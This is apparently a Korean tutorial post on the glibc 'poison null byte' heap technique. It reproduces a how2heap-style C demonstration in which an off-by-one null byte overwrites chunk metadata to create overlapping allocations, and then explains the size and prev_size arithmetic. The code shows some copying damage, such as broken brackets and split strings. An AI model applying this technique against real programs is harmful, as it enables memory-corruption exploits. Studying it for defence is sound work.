첫째, Poison NULL Byte의 경우 Off에서 하나씩 발생하는 힙 취약점이다.

취약점을 간단히 요약하면 새로 할당된 힙 공간에 포함시켜 이미 할당된 힙 블록을 새로운 값으로 덮어쓸 수 있는 취약점이다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
        printf("Welcome to poison null byte 2.0!
\\n"); printf("Tested in Ubuntu 14.04 64bit.\\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n"); uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d; printf("We allocate 0x100 bytes for 'a'.\\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\\n", real_a_size); /* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200); printf("b: %p\\n", b); c = (uint8_t*) malloc(0x100); printf("c: %p\\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - 8); // added fix for size==prev_size(next_chunk) check in newer versions of glibc // <https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30> // this added check requires we are allowed to have null pointers in b (not just a c string) //*(size_t*)(b+0x1f0) = 0x200; printf("In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) !
= prev_size (next_chunk(P))'\\n"); // we set this location to 0x200 since 0x200 == (0x211 & 0xff00) // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x1f0) = 0x200; // this technique works by overwriting the size metadata of a free chunk free(b); printf("b.size: %#lx\\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n"); a(real_a_size) = 0; // <--- THIS IS THE "EXPLOITED BUG" printf("b.size: %#lx\\n", *b_size_ptr); uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\\n",*c_prev_size_ptr); // This malloc will result in a call to unlink on the chunk where b was. // The added check (commit id: 17f487b), if not properly handled as we did before, // will detect the heap corruption now. // The check is this: chunksize(P) !
= prev_size (next_chunk(P)) where // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow) // next_chunk(P) == b-0x10+0x200 == b+0x1f0 // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200 printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x100); printf("b1: %p\\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %lx\\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control b2 = malloc(0x80); printf("b2: %p\\n",b2); memset(b2,'B',0x80); printf("Current b2 content:n%s\\n",b2); printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n"); free(b1); free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\\n"); d = malloc(0x300); printf("d: %p\\n",d); printf("Now 'd' and 'b2' overlap.\\n"); memset(d,'D',0x300); printf("New b2 content:n%s\\n",b2); printf("Thanks to <http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf> " "for the clear explanation of this technique.\\n"); }

사용자가 힙을 할당할 때 실제로 사용할 수 있는 nextchunk의 prev_size 영역에 따라 다릅니다.

—> 즉, 여기에서 한 개만 벗어나면 다음 청크의 크기를 터치할 수 있습니다.

하지만 chunksize(P) ≠ prev_size(next_chunk(P)) —> 손상 발생

따라서 next_chunk(P)의 prev_size 값도 수정된 크기와 동일해야 합니다.

next_chunk() 함수의 주소 계산 방법은 다음과 같습니다.

0x7120(b 데이터 영역의 주소) – 0x10(헤더 크기) + 0x210(b의 크기) = 0x7320(c의 주소)

이때 b의 크기를 0x200으로 조정하면,

0x7120(b 데이터 영역 주소) – 0x10(헤더 크기) + 0x200(가짜 b의 크기) = 0x7310(가짜 블록 주소)

  • 헤더 크기 0x10 —> prev_size, 크기 포함

즉, 0x7310 부분(prev_size)을 0x200으로 변경해야 합니다.